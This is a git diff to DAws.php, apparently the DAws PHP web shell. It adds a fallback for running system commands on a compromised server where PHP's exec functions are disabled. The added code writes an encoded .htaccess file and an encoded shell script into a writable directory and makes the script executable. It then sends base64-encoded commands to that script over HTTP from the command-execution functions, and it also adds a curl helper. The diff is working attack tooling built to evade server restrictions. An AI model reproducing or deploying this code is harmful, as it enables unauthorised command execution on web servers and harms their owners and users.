diff --git a/DAws.php b/DAws.php index eb59876..24c2cd0 100644 --- a/DAws.php +++ b/DAws.php @@ -128,11 +128,14 @@ function getPaths($root) { $blacklist_paths = array("../", "./", ".../"); $whitelist_paths = array(); - $iter = new RecursiveIteratorIterator( - new RecursiveDirectoryIterator($root, RecursiveDirectoryIterator::SKIP_DOTS), - RecursiveIteratorIterator::SELF_FIRST, - RecursiveIteratorIterator::CATCH_GET_CHILD - ); + if (version_compare(PHP_VERSION, '5.3.0') >= 0) + { + $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); + } + else + { + $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); + } $paths = array($root); foreach ($iter as $path => $dir) @@ -488,10 +491,22 @@ function findSmallest($i, $end, $data) } #--> +#Substitute for file_get_contents using Curl--> +function url_get_contents($url) +{ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + $output = curl_exec($ch); + curl_close($ch); + return $output; +} +#<-- + #Checks if what's appended is Installed on the system--> function soft_exists($command) { - global $shell_exec, $exec, $popen, $proc_open; + global $shell_exec, $exec, $popen, $proc_open, $cgi, $curl_version; $whereIsCommand = (PHP_OS == 'WINNT') ? 'where' : 'which'; $complete = "$whereIsCommand $command"; @@ -507,7 +522,7 @@ function soft_exists($command) else if($popen == True) { $pid = popen($complete,"r"); - $result = fread($pid, 2096); + $result = fread($pid, 4096); pclose($pid); return $result; } @@ -538,6 +553,18 @@ function soft_exists($command) return "false"; } } + else if($cgi == True) + { + $complete = base64encoding($complete); + if ($curl_version == True) + { + return url_get_contents($_SESSION["onlinecgi"]."?command=$complete"); + } + else + { + return file_get_contents($_SESSION["onlinecgi"]."?command=$complete"); + } + } else { return "false"; @@ -555,7 +582,7 @@ function soft_exists($command) #Executes system commands --> function evalRel($command) { - global $shell_exec, $exec, $popen, $proc_open, $system, $passthru; + global $shell_exec, $exec, $popen, $proc_open, $system, $passthru, $cgi, $curl_version; if ($system == True) { system($command); @@ -614,6 +641,18 @@ function evalRel($command) echo $stdout; } } + else if($cgi == True) + { + $command = base64encoding($command); + if ($curl_version == True) + { + echo url_get_contents($_SESSION["onlinecgi"]."?command=$command"); + } + else + { + echo file_get_contents($_SESSION["onlinecgi"]."?command=$command"); + } + } else { return "False"; @@ -667,7 +706,7 @@ function runPHP($code) #CGI Essentials--> $htaccess="bi4QBzgRCA0AABZPFwQZXRUKHgwUG1RNAxhGRw4EEGU7EwQZCQcfRU8qDAYTMyEgZg=="; -$cgish="R05bARkeSQsNFgxlfgYTGAlJTiYLAQAGHgRLHRUVAVVUFxUIEkYEEQkDVmkVEw4GTEdGZX4GExgJSU5ZDBsZD056WgEJBABRfl8EGRIFCVsgLgMQUF1GKissRC0VEBhQNQEJCQhTWxcZBAoMUm9YQBwGERRYY1AHCwsNXXpMBQwCEQEdSmlMGFJXKCQTHFROUDMhIEwnBRwcQyMYAwUAWUsHQF1SemwMDw0LT1ZpTBYJGwFFBQwACh8eW04oJBMcWhAYV0YECREMABBeVzcjPUtbbmZIFxESCgxSb21mSBcUTiUGAQgFARBZUExJHQhbbmZ9XwQUWFUFCxQaAEMECRYMUUIQCgwXV1AICAEAWUgXDB0dBwcIQlpTWxcUTmxgZVkQC0pfGR4WHBhFEBYEBk1XFRwOCA0bU0MeEQsMUUIjAFNDBhEKHAlYQygbRF9OWkYYAVplfV9fBAcLAABaZUhMFh8UBFJHX2V+AB8dCwgCAVkPEQAYH0ZLSDQxKiY6LyMyOyUrI01UH1ADAw1MSApPUxBfLkhDDwoJAhUNFE06QTc7QjJeP1leTE1DOVVABERQDEYaCQFETQdMVUJWRkxKA01UH1ADAw1MRxdAX0xQXwFLDG8BGRUPUFQFBgEIBQEQaXoVBQEDRUZTWwAVHhIMHltuU1sBHxQfV2ZZSwcADhxORA=="; +$cgish="R05bARkeSQsNFgxlfgYTGAlJTiYLAQAGHgRLHRUVAVVUFxUIEkYEEQkDVmkVEw4GTEdGZX4AHx0LCAIBWQ8RABgfRktINDEqJjovIzI7JSsjTVQfUAMDDUxICk9TEF8uSEMPCgkCFQ0UTTpBNztCMl4/WV5MTUM5VUAERFAMRgsNFgFZQENdXQIMDwoAClQfUAMDDUxHF0BRUUBfRkYLR0QTVBAVFEZLH0pPQFRMF1IGYwkTBQNURxMfCwQNCwA="; $cgibat="JAoXCx9QCQ8Kb24KFwsfUCUGAhEBAQBOBAkWDFZFEAoMF18YEgQAbwEMHAxQXmxjCQYMAFQ9TBgSBAA7WjFICxURAjdSO1gbHRccFThXKCQTHFROUDMhIEwnBRsXC1AjDgwACTpTWxcZBAoMMls6U1sLFRECN1I7WA0bBwkuWDdQBgEBAAYCLlg3UA1QMUonMQcVSUFFJyg9QzIREgoERTcHEQ8cLlpGBFE6USpfFh8UBEwEBxsdDB5NQS0tEhdBFgIEV0YECREMABBeVzcjPUs7WjFIFxESCgwyWzpTAAcuTiUGAQgFARBZUC5aRhgBOlEqXwQUOFcyWQ0BBBYEUBIQHABZSAAGCARBSQIECQpJRBMfCwQNCwBIKl0uTEkdCDtaMUgXFC5YN1AMCh8BF1AEHxkJWEMcAQEdGRJOTAsFAhFeVzcJTkwTBQMBBk1XIQZLSjpRKl9fBAI3UjtYQAACEhwDN1I7WEASDAIdOFdmb24GEkM+PzJJTkA1OjExKS81PT4sKihRQVBNW0lOR25HfmpVITMsPjw7PCAxOT4hUxJdQWVdaXoVBQEDRTpTWwAVHhIMHjtaMUhMEh8CEDJbOlNbCwQdCjdS"; #<-- @@ -717,6 +756,64 @@ function runPHP($code) } #<-- +#CGI Incoming--> +$_SESSION["onlinecgi"] = ""; +$_SESSION["cgi"] = False; +$cgi = False; + +if ($_SESSION["cgi"] == False) +{ + if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') + { + if(!file_exists($writeread_dir."cgi")) + { + mkdir($writeread_dir."cgi"); + } + + file_put_contents($writeread_dir."cgi\\.htaccess",unsh3ll_this($htaccess)); + + file_put_contents($writeread_dir."cgi\\DAws.sh",unsh3ll_this($cgish)); + chmod($writeread_dir."cgi\\DAws.sh", 0755); + + $_SESSION["onlinecgi"] = str_replace("$real_path", "", $writeread_dir."cgi\\DAws.sh"); + $_SESSION["onlinecgi"] = "http://".$_SERVER['SERVER_NAME']."/".$_SESSION["onlinecgi"]; + + $_SESSION["cgi"] = True; + } + else + { + if(!file_exists($writeread_dir."cgi")) + { + mkdir($writeread_dir."cgi"); + } + + file_put_contents($writeread_dir."cgi/.htaccess",unsh3ll_this($htaccess)); + + file_put_contents($writeread_dir."cgi/DAws.sh",unsh3ll_this($cgish)); + chmod($writeread_dir."cgi/DAws.sh", 0755); + + $_SESSION["onlinecgi"] = str_replace("$real_path", "", $writeread_dir."cgi/DAws.sh"); + $_SESSION["onlinecgi"] = "http://".$_SERVER['SERVER_NAME']."/".$_SESSION["onlinecgi"]; + + $_SESSION["cgi"] = True; + } +} + +if ($curl_version == True) +{ + $tempoutput = url_get_contents($_SESSION["onlinecgi"]."?command=ZGly"); +} +else +{ + $tempoutput = file_get_contents($_SESSION["onlinecgi"]."?command=ZGly"); +} + +if (($tempoutput != "") && (!strpos($tempoutput,'Internal') !== false)) +{ + $cgi = True; +} +#<-- + ?>